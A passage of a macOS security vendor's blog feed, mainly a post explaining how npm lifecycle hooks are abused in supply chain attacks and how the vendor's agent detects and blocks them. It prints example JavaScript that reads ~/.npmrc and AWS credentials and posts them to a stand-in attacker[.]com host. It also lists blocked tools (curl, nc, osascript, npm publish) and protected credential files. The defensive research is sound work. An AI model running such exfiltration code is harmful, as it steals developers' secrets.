<h2 id="thanks-to-insight-assurance">Thanks to Insight Assurance</h2>
<p>We would like to thank the team at <a href="https://insightassurance.com/">Insight Assurance</a> for a thorough and well-run audit.</p>
<h2 id="ongoing-work">Ongoing work</h2>
<p>Compliance is not a one-off exercise. Security and compliance are ongoing work at Phorion, and we will be audited annually to maintain our SOC 2 Type II attestation.</p>
<p>To request a copy of the report, visit <a href="https://trust.phorion.io">trust.phorion.io</a>. To see how Phorion protects macOS endpoints, <a href="#cta">get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>Compliance</category><category>SOC 2</category><category>Security</category><category>Company News</category><media:content url="https://phorion.io/blog/soc-2-type-ii/social-card.jpg" medium="image"/></item><item><title>Detecting and Preventing npm Supply Chain Attacks with Phorion Protections</title><link>https://phorion.io/blog/detecting-and-preventing-npm-supply-chain-attacks-with-phorion-protections/</link><guid isPermaLink="true">https://phorion.io/blog/detecting-and-preventing-npm-supply-chain-attacks-with-phorion-protections/</guid><pubDate>Thu, 21 May 2026 09:00:00 +0000</pubDate><description>Tracking an npm package install through each stage of its lifecycle allows for precise, context-aware protections that safeguard credentials, block second-stage payload execution, and prevent worm propagation.</description><content:encoded><![CDATA[<p>npm supply chain attacks targeting macOS developers have accelerated sharply over the last twelve months. Be it credential harvesting, worm propagation, or second-stage payload execution - or a combination thereof - campaigns like Shai-Hulud, the TanStack compromise, and the Axios package compromise all exploit the same surface: a malicious install script embedded in a dependency. These scripts run silently during <code>npm install</code>, giving attackers a foothold on the developer&rsquo;s machine from which to achieve their objectives.</p>
<p>There are several stages across the lifecycle of a package install in which malicious content can be introduced. Fortunately, the <code>npm</code> binary itself provides some useful signals about what is being executed and when.</p>
<p>Through research into npm&rsquo;s lifecycle internals, Phorion identified environment variables that npm injects into every hook - one rich enough to identify not just <em>that</em> a hook is running, but <em>which</em> hook, <em>which</em> package, and <em>which</em> version. The same tagging drives both context for hunts and detections, and precise behavior-scoped protections that safeguard credentials, block second-stage download, and prevent worm propagation - without disrupting normal development workflows.</p>
<p>This post explores the recent wave of npm supply chain campaigns, walks through Phorion&rsquo;s npm lifecycle research, and shows how it powers both better detection data and surgical in-line blocking.</p>
<h2 id="the-threat-landscape">The Threat Landscape</h2>
<p>Supply chain attacks leveraging weaponised NPM packages have exploded in popularity over the last year - to name just a few of the most notable campaigns:</p>
<div class="breakout breakout--wide">
<table class="campaign-table">
  <colgroup>
    <col style="width: 16%;" />
    <col style="width: 14%;" />
    <col style="width: 70%;" />
  </colgroup>
  <thead>
    <tr>
      <th>Campaign</th>
      <th>Hook Used</th>
      <th>Technique</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><strong>Shai-Hulud</strong></a><br/>
        Sep 2025
      </td>
      <td><code>postinstall</code></td>
      <td>
        Self-replicating worm that harvested <code>.npmrc</code> tokens, cloud provider keys, and GitHub PATs.<br/>
        Used stolen npm tokens to authenticate and publish infected versions of the victim's own packages, spreading exponentially across the registry.<br/>
        Compromised hundreds of packages including the widely-used <code>@ctrl/tinycolor</code>.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.elastic.co/blog/shai-hulud-worm-2-0-updated-response"><strong>Shai-Hulud 2.0</strong></a><br/>
        Nov 2025
      </td>
      <td><code>preinstall</code></td>
      <td>
        Switched to a <code>preinstall</code> script with a payload disguised as a Bun installer (<code>setup_bun.js</code>).<br/>
        If credential theft failed, destructively wiped the victim's home directory.<br/>
        Compromised packages from AsyncAPI, Zapier, PostHog, and Postman.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise"><strong>CanisterWorm/<br/>TeamPCP</strong></a><br/>
        Mar 2026
      </td>
      <td><code>postinstall</code></td>
      <td>
        Node.js <code>postinstall</code> loader installed a persistent Python backdoor via systemd.<br/>
        The worm's <code>deploy.js</code> script enumerated all packages a stolen token could publish and infected <code>latest</code> versions.<br/>
        Later evolved to propagate by scraping <code>.npmrc</code> files and npm environment variables for tokens during <code>postinstall</code>.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all"><strong>Axios</strong></a><br/>
        Mar 2026
      </td>
      <td><code>postinstall</code></td>
      <td>
        Compromised maintainer account on Axios (~100M weekly downloads) with a <code>postinstall</code> hook deployed platform-specific RATs for Windows, macOS, and Linux.<br/>
        The dropper performed anti-forensic cleanup, deleting itself and swapping <code>package.json</code> with a clean copy to erase evidence. Attributed to DPRK-linked UNC1069.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised"><strong>Mini Shai-Hulud<br/>TanStack</strong></a><br/>
        May 2026
      </td>
      <td><code>prepare</code></td>
      <td>
        84 malicious versions across 42 <code>@tanstack/*</code> packages were published after a GitHub Actions cache-poisoning and OIDC token-extraction chain.<br/>
        Malicious versions, with credential theft and worm-like propagation, used an <code>optionalDependencies</code> pointer to an orphan commit that executed a payload via <code>prepare</code>.<br/>
        Incident details were confirmed in <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">TanStack's postmortem</a>.
      </td>
    </tr>
  </tbody>
</table>
</div>
<p>While we&rsquo;ve seen attacker objectives diversify in recent incidents, the pattern is consistent: compromise a package or maintainer account, weaponise a lifecycle hook, and execute arbitrary code on every machine that installs it.</p>
<h2 id="a-lifecycle-hook-crash-course">A Lifecycle Hook Crash Course</h2>
<p>npm supports a <a href="https://docs.npmjs.com/cli/v8/using-npm/scripts/">broad range of lifecycle scripts</a> - from <code>prepack</code> and <code>prepare</code> to <code>test</code> and <code>restart</code>. However, the scripts that matter for supply chain attacks are the ones that execute automatically during dependency installation without any explicit action from the developer.</p>
<p>The <a href="https://docs.npmjs.com/cli/v8/using-npm/scripts#npm-install">full lifecycle order</a> during <code>npm install</code> (or <code>npm ci</code>) is:</p>
<table class="lifecycle-table">
  <colgroup>
    <col style="width: 5%;" />
    <col style="width: 20%;" />
    <col style="width: 75%;" />
  </colgroup>
  <thead>
    <tr>
      <th>Order</th>
      <th>Script</th>
      <th>When It Runs</th>
    </tr>
  </thead>
  <tbody>
    <tr><td>1</td><td><code>preinstall</code></td><td>Runs on every install from the registry, before the package's own dependencies are resolved</td></tr>
    <tr><td>2</td><td><code>install</code></td><td>Runs on every install. If absent, npm falls back to <code>node-gyp rebuild</code> when a <code>binding.gyp</code> is present, the native-compilation path</td></tr>
    <tr><td>3</td><td><code>postinstall</code></td><td>Runs on every install, after the package and its dependencies are in place; the most commonly weaponised hook</td></tr>
    <tr><td>4</td><td><code>prepublish</code></td><td>Deprecated. Historically ran on both <code>npm install</code> and <code>npm publish</code></td></tr>
    <tr><td>5</td><td><code>preprepare</code></td><td>Runs immediately before <code>prepare</code>, in the same contexts</td></tr>
    <tr><td>6</td><td><code>prepare</code></td><td>Runs on local installs (path or git dependencies) and before <code>npm publish</code></td></tr>
    <tr><td>7</td><td><code>postprepare</code></td><td>Runs immediately after <code>prepare</code>, in the same contexts</td></tr>
  </tbody>
</table>
<p>From a supply chain perspective, the most commonly weaponised stages are <code>preinstall</code>, <code>install</code>, <code>postinstall</code>, and <code>prepare</code>. <code>prepare</code> is particularly relevant for git dependencies, seen in-the-wild as part of another related attack vector - backdoored coding tests.</p>
<p>Any npm package can define these scripts in its <code>package.json</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;name&#34;</span>: <span style="color:#2aa198">&#34;lifecycle-canary&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;version&#34;</span>: <span style="color:#2aa198">&#34;1.0.0&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;scripts&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;preinstall&#34;</span>: <span style="color:#2aa198">&#34;echo &#39;About to install&#39;&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;postinstall&#34;</span>: <span style="color:#2aa198">&#34;node setup.js&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Though not the <a href="https://www.stepsecurity.io/blog/node-ipc-npm-supply-chain-attack">only weaponisation option</a>, lifecycle hooks are a particularly common target because they&rsquo;re a light-touch way to add immediate execution to a package. An attacker doesn&rsquo;t need to understand the package&rsquo;s internal logic, find a reachable code path, or modify an existing installation process; they can add their premade malicious script and point to it from <code>package.json</code>.</p>
<p>Since developers (and automated CI processes) are unlikely to review changes to lifecycle hooks for every dependency update, this &lsquo;drop-in&rsquo; approach can prove effective.</p>
<h3 id="weaponisation">Weaponisation</h3>
<p>Once execution is wired into a lifecycle hook, malicious code runs in the user&rsquo;s context, with full access to their environment and filesystem.</p>
<p>With recent incidents like Shai-Hulud and the Axios package compromise leveraging JavaScript executed via <code>node</code>, we can see permutations of malicious script content (once deobfuscated) that achieves its objectives by shelling out to native tools (<code>curl</code>, <code>cat</code>):</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">const</span> { execSync } <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;child_process&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> credentialPaths <span style="color:#719e07">=</span> [
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.npmrc`</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.aws/credentials`</span>,
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> stolen <span style="color:#719e07">=</span> credentialPaths.map(path =&gt; ({
</span></span><span style="display:flex;"><span>  path,
</span></span><span style="display:flex;"><span>  content<span style="color:#719e07">:</span> execSync(<span style="color:#586e75">`cat &#34;</span><span style="color:#2aa198">${</span>path<span style="color:#2aa198">}</span><span style="color:#586e75">&#34; 2&gt;/dev/null || true`</span>).toString(),
</span></span><span style="display:flex;"><span>}));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>execSync(<span style="color:#586e75">`curl -X POST -d &#39;</span><span style="color:#2aa198">${</span>JSON.stringify(stolen)<span style="color:#2aa198">}</span><span style="color:#586e75">&#39; https://attacker[.]com/collect`</span>);
</span></span></code></pre></div><p>Or by using Node&rsquo;s built-in APIs for file access and network requests:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">const</span> fs <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> https <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> credentialPaths <span style="color:#719e07">=</span> [
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.npmrc`</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.aws/credentials`</span>,
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> stolen <span style="color:#719e07">=</span> credentialPaths
</span></span><span style="display:flex;"><span>  .filter(path =&gt; fs.existsSync(path))
</span></span><span style="display:flex;"><span>  .map(path =&gt; ({ path, content<span style="color:#719e07">:</span> fs.readFileSync(path, <span style="color:#2aa198">&#39;utf8&#39;</span>) }));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> request <span style="color:#719e07">=</span> https.request(<span style="color:#2aa198">&#39;https://attacker[.]com/collect&#39;</span>, { method<span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;POST&#39;</span> });
</span></span><span style="display:flex;"><span>request.end(JSON.stringify(stolen));
</span></span></code></pre></div><p>The diagram below generalises this into the three outcomes we care about: credential access, data exfiltration, and second-stage effects like worm propagation.</p>
<div class="breakout breakout--full">
<p><img src="attack-tree.svg" alt="Diagram showing the three phases of an npm supply chain attack: credential file collection, network exfiltration via curl, and worm propagation via npm publish, with Phorion blocking each phase"></p>
</div>
<p>Even in simplified form, these script examples show why lifecycle-hook attacks are awkward to defend with the likes of file events or process relationships alone.</p>
<p>Sometimes the suspicious activity appears as <code>node</code> spawning <code>cat</code> or <code>curl</code>; other times the same credential access and network exfiltration happen entirely inside the Node.js process.</p>
<p>In either case, detection and prevention still requires walking back up the process tree to determine whether the activity originated from an <code>npm install</code> or <code>npm ci</code> event and, even then, that provides no context about the specific package or lifecycle phase.</p>
<h3 id="npm-environment-variables">npm Environment Variables</h3>
<p>When npm runs a lifecycle script, it injects a set of environment variables into the shell process, prefixed with <code>npm_</code>, including:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-properties" data-lang="properties"><span style="display:flex;"><span>npm_command<span style="color:#719e07">=</span><span style="color:#2aa198">install</span>
</span></span><span style="display:flex;"><span>npm_lifecycle_event<span style="color:#719e07">=</span><span style="color:#2aa198">postinstall</span>
</span></span><span style="display:flex;"><span>npm_package_name<span style="color:#719e07">=</span><span style="color:#2aa198">example-package</span>
</span></span><span style="display:flex;"><span>npm_package_version<span style="color:#719e07">=</span><span style="color:#2aa198">1.2.3</span>
</span></span></code></pre></div><p>The critical variable here is <code>npm_lifecycle_event</code>, telling any process in the tree exactly which hook phase is currently executing.</p>
<p>These environment variables are inherited by child processes via <code>execve()</code>. When a postinstall script spawns a <code>curl</code> based one-liner, for example, that process inherits the full npm environment - including <code>npm_lifecycle_event=postinstall</code>. This inheritance is transitive: no matter how deep the process tree goes via direct fork/exec, every descendant carries the variable.</p>
<p>This is where it gets interesting for defenders.</p>
<h3 id="from-environment-variable-to-full-activity-tagging">From Environment Variable to Full Activity Tagging</h3>
<p>Apple&rsquo;s Endpoint Security Framework (ESF) delivers detailed information about every process execution on the system, including the <a href="https://developer.apple.com/documentation/endpointsecurity/es_exec_env(_:_:)?language=objc">full environment</a> of the new process at the point of <code>execve()</code>.</p>
<p>The Phorion agent inspects that environment and, if it finds an <code>npm_lifecycle_event</code>, extracts the lifecycle phase along with <code>npm_package_name</code> and <code>npm_package_version</code>, and tags the process with a <code>behavior</code> label.</p>
<p>Because npm&rsquo;s environment variables propagate across <code>execve()</code>, every descendant in the lifecycle hook&rsquo;s process tree arrives at ESF carrying them too, so the same metadata can be derived for the <code>curl</code> an obfuscated postinstall script reaches several layers down:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;event_type&#34;</span>: <span style="color:#2aa198">&#34;ProcessExec&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;signing_id&#34;</span>: <span style="color:#2aa198">&#34;com.apple.curl&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;process_args&#34;</span>: [<span style="color:#2aa198">&#34;curl&#34;</span>, <span style="color:#2aa198">&#34;-X&#34;</span>, <span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;-d&#34;</span>, <span style="color:#2aa198">&#34;...&#34;</span>, <span style="color:#2aa198">&#34;https://attacker[.]com/collect&#34;</span>],
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;behavior&#34;</span>: [<span style="color:#2aa198">&#34;NpmPostInstall&#34;</span>],
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;enrichments&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;npm&#34;</span>: {
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;lifecycle_event&#34;</span>: <span style="color:#2aa198">&#34;postinstall&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;package_name&#34;</span>: <span style="color:#2aa198">&#34;lifecycle-canary&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;package_version&#34;</span>: <span style="color:#2aa198">&#34;1.0.0&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This enriches context from &ldquo;<code>curl</code> made a POST request&rdquo; to &ldquo;<code>curl</code> made a POST request during the postinstall of <code>lifecycle-canary@1.0.0</code>&rdquo; - actionable detail for both targeted detection and incident response. It makes retrospective hunting straightforward: when a vulnerable or compromised package is disclosed, you can pivot directly from the package name and affected versions to every instance of execution across the entire fleet.</p>
<p>Subsequent file reads, network connections, and DNS queries don&rsquo;t carry an environment of their own, however. To bridge that gap, Phorion propagates the earliest occurrence of the behavior tag and lifecycle metadata in-agent across the process tree. This gives a comprehensive picture of the lifecycle hook&rsquo;s activity, with a further benefit: the lifecycle code cannot evade detection by tampering with environment variables in later stages of its execution.</p>
<p>The result is a complete map of the lifecycle hook&rsquo;s activity across every descendant and every event type. The read of <code>~/.aws/credentials</code>, the lookup of an attacker-controlled domain, and the <code>curl</code> that POSTs the data all carry the relevant lifecycle tag.</p>
<h2 id="protections-built-on-this-signal">Protections Built on This Signal</h2>
<p>The behavior tagging is valuable as enrichment alone - but the same signal can be used to block in-line. <a href="https://phorion.io/blog/phorion-protections/">Phorion&rsquo;s Protections</a> provide comprehensive rules that deny specific file accesses and process executions under tightly-scoped conditions.</p>
<p>Because the trigger here is the behavior, not a specific binary, parent process or path - the rules can be incredibly precise about <em>what</em> is blocked and <em>when</em>. For npm lifecycle hooks, this means:</p>
<h3 id="process-execution-controls">Process Execution Controls</h3>
<p>Certain binaries and accompanying arguments have no legitimate reason to execute during the covered <code>npm</code> lifecycle stages. Among others, Phorion blocks the below activities outright:</p>
<table>
	<thead>
			<tr>
					<th style="text-align: left">Blocked Activity</th>
					<th style="text-align: left">Rationale</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><code>osascript</code></td>
					<td style="text-align: left">AppleScript execution - used for credential phishing dialogs and JXA-based execution</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>pbpaste</code></td>
					<td style="text-align: left">Clipboard sniffing for credential harvesting</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>rm -rf</code></td>
					<td style="text-align: left">Prevent destructive file operations, seen used as a <a href="https://snyk.io/blog/tanstack-npm-packages-compromised/">&ldquo;dead-man&rsquo;s switch&rdquo;</a>, during lifecycle hooks</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>npm publish</code></td>
					<td style="text-align: left">Self-propagation - prevent the publishing of further infected packages to spread across the registry</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>open</code></td>
					<td style="text-align: left">Launch applications - used to bypass lifecycle hook protections by detaching processes</td>
			</tr>
	</tbody>
</table>
<p>The <code>npm publish</code> block is particularly significant. Several of the campaigns described above - Shai-Hulud, Shai-Hulud 2.0, and CanisterWorm - are self-propagating worms. They steal npm tokens during lifecycle hooks and use them to publish infected versions of the victim&rsquo;s own packages, turning every compromised developer into a distribution vector. Blocking <code>npm publish</code> during lifecycle hooks directly breaks this propagation chain.</p>
<p>The <code>open</code> block is worth highlighting too. <code>/usr/bin/open</code> doesn&rsquo;t <code>exec()</code> its target - it asks <code>LaunchServices</code> to spawn it, which severs the new process from the npm process tree and, with it, the inherited <code>npm_lifecycle_event</code> environment.</p>
<p>As with all other Phorion Protections, these are fully configurable, individually toggleable rules. An organisation that genuinely needs Python, for example, during npm lifecycle execution (e.g., for <code>node-gyp</code> <a href="https://github.com/nodejs/node-gyp">native compilation</a>) can disable that specific rule while keeping the others active.</p>
<h3 id="file-access-controls">File Access Controls</h3>
<p>Beyond blocking dangerous processes, Phorion prevents lifecycle hook code from reading sensitive credential files. This targets the most common objective of npm supply chain attacks - stealing secrets.</p>
<p>When a process tagged with an npm lifecycle behavior attempts to open sensitive files, the access is denied. To name a few, this includes:</p>
<table>
	<thead>
			<tr>
					<th style="text-align: left">Protected File</th>
					<th style="text-align: left">Contents</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><code>~/.npmrc</code></td>
					<td style="text-align: left">npm registry authentication tokens</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.git-credentials</code></td>
					<td style="text-align: left">Plaintext git HTTPS credentials</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.pypirc</code></td>
					<td style="text-align: left">PyPI registry tokens</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.aws/credentials</code></td>
					<td style="text-align: left">AWS IAM access keys and secret keys</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.terraform.d/credentials.tfrc.json</code></td>
					<td style="text-align: left">Terraform Cloud API tokens</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.docker/config.json</code></td>
					<td style="text-align: left">Container registry auth tokens</td>
			</tr>
	</tbody>
</table>
<p>The CLI tools and scripts that otherwise use these credentials during development and deployment workflows will continue to work as normal outside of lifecycle hooks, but any attempt to access them during a hook is blocked.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Research into npm&rsquo;s lifecycle internals turned a small environment-variable surface into a strong defensive signal. By inspecting the environment and propagating the resulting <code>behavior</code> tag and package metadata in-agent across the process tree, Phorion ties every downstream file, network and DNS event back to the specific lifecycle hook and package that triggered it. That precision pays off in two ways.</p>
<p>In the <strong>data</strong>, every process, file, network, and DNS event carries the lifecycle phase and package metadata. Hunts pivot directly from a compromised package to every affected execution across the fleet, with no manual process-tree walking required. Which files did it access? What did it download? Which domains did it query? All visible with a single search query.</p>
<p>In the <strong>protections</strong>, the same behavior tagging scopes what could otherwise be over-broad blocks. <code>curl</code>, <code>npm publish</code> and <code>osascript</code> stay available to the developer who needs them, but lose the ability to run under a lifecycle hook where they have no legitimate purpose.</p>
<hr>
<p>Protections are available now to front-runner Phorion customers. <br/><a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>Protections</category><category>npm</category><category>Supply Chain</category><category>File Access Controls</category><category>Research</category><media:content url="https://phorion.io/blog/detecting-and-preventing-npm-supply-chain-attacks-with-phorion-protections/social-card.png" medium="image"/></item><item><title>Beyond Detection: Proactive Process and File Controls for macOS</title><link>https://phorion.io/blog/phorion-protections/</link><guid isPermaLink="true">https://phorion.io/blog/phorion-protections/</guid><pubDate>Mon, 18 May 2026 00:30:00 +0000</pubDate><description>Phorion Protections brings file access authorization, process execution controls, and EDR telemetry into a single macOS endpoint security solution. Layered defences, scoped to your environment, with the analytics to deploy them confidently.</description><content:encoded><![CDATA[<p><span class="phorion-brand">Phorion Protections</span> brings file access authorization, process execution controls, and Phorion&rsquo;s EDR telemetry into a single macOS endpoint security solution.</p>
<!-- <figure class="bordered"><img src="/blog/phorion-protections/protections-summary.png"
			alt="Phorion Protections summary">
</figure>
 -->
<div class="breakout breakout--wide">
<p><img src="laptop-protections.png" alt="Protections laptop"></p>
</div>
<p>Protections is made up of two complementary hardening layers, each one closing off a different stage of the attack chain:</p>
<ul>
<li><strong>Process execution controls</strong> shrink the attack surface. Block <code>curl</code>, <code>osascript</code>, <code>python</code> or any other binary on the endpoints that don&rsquo;t need them, and entire classes of stage-one payloads never get the chance to run.</li>
<li><strong>File access authorization</strong> protects the data that matters. Browser cookies, SSH keys, and developer secrets are locked to the processes that legitimately touch them, so it doesn&rsquo;t matter how an attacker reached the endpoint; your sensitive files are locked down.</li>
</ul>
<p>Attackers are constantly evolving their tradecraft. New infostealers, new initial access vectors and new techniques appear every week. Protections doesn&rsquo;t chase those TTPs. It defines what legitimate behaviour looks like on your endpoints, what processes should run and what files they should touch, and blocks everything else. The control holds regardless of how the threat is packaged.</p>
<p>The hard part is knowing what &ldquo;legitimate&rdquo; actually looks like in your environment, and this is exactly why it makes sense to build Protections upon the foundations of Phorion&rsquo;s EDR. Every control is paired with historical analytics from the same telemetry your detections run on. Before you enforce anything, you can see how often the control would have fired, which users and devices it would have hit, and what normal behaviour looks like across your fleet.</p>
<p><img src="protection-analytics-small.png" alt="Protections analytics"></p>
<h2 id="process-execution-controls">Process execution controls</h2>
<p>Process execution controls in Phorion lean into two complementary approaches, each one reducing the attack surface from a different angle:</p>
<ul>
<li><strong>Blocking process flows that should never legitimately happen.</strong> Specific parent/child relationships, command-line patterns and signing combinations that have no business existing on a healthy endpoint. If a Word document spawns <code>bash</code>, something has already gone wrong, so the control prevents the execution before it becomes an incident.</li>
</ul>
<div style="align: center">
<div class="protection-example">
<div class="protection-example__title">Prevent Office Apps from Spawning Processes</div>
<div class="protection-rules">
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Block script interpreters spawned by Office apps</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.apple.python3</span>
<span class="protection-rule__value">com.apple.ruby</span>
<span class="protection-rule__value">com.apple.perl</span>
<span class="protection-rule__value">com.apple.osascript</span>
</div>
<div class="protection-rule__field">source_signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.microsoft.Word</span>
<span class="protection-rule__value">com.microsoft.Excel</span>
<span class="protection-rule__value">com.microsoft.Powerpoint</span>
<span class="protection-rule__value">com.microsoft.Outlook</span>
</div>
</div>
</div>
</div>
</div>
</div>
<ul>
<li><strong>Blocking tooling that isn&rsquo;t required on the devices it&rsquo;s running on.</strong> Does your marketing team really need <code>osascript</code>, <code>curl</code> or <code>python</code> on their laptops? If not, blocking those binaries outright closes off entire classes of living-off-the-land technique on the endpoints where they were never needed in the first place.</li>
</ul>
<div style="align: center">
<div class="protection-example">
<div class="protection-example__title">Block Developer Tooling</div>
<div class="protection-rules">
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Block networking tools</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.apple.curl</span>
<span class="protection-rule__value">com.apple.nscurl</span>
<span class="protection-rule__value">com.apple.ssh</span>
<span class="protection-rule__value">com.apple.scp</span>
<span class="protection-rule__value">com.apple.sftp</span>
<span class="protection-rule__value">com.apple.sftp-server</span>
<span class="protection-rule__value">com.apple.nc</span>
</div>
<div class="protection-rule__field">binary_path</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">/usr/local/bin/wget</span>
<span class="protection-rule__value">/opt/homebrew/bin/wget</span>
<span class="protection-rule__value">/usr/local/bin/ncat</span>
<span class="protection-rule__value">/opt/homebrew/bin/ncat</span>
</div>
</div>
</div>
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Block script interpreters and applications</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.apple.scripteditor2</span>
<span class="protection-rule__value">com.apple.osascript</span>
<span class="protection-rule__value">com.apple.python3</span>
<span class="protection-rule__value">org.python.python</span>
<span class="protection-rule__value">com.apple.ruby</span>
<span class="protection-rule__value">com.apple.perl</span>
<span class="protection-rule__value">com.apple.perl5</span>
<span class="protection-rule__value">com.tcltk.tclsh</span>
</div>
<div class="protection-rule__field">binary_path</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">/opt/homebrew/bin/python*</span>
<span class="protection-rule__value">/opt/homebrew/bin/ruby</span>
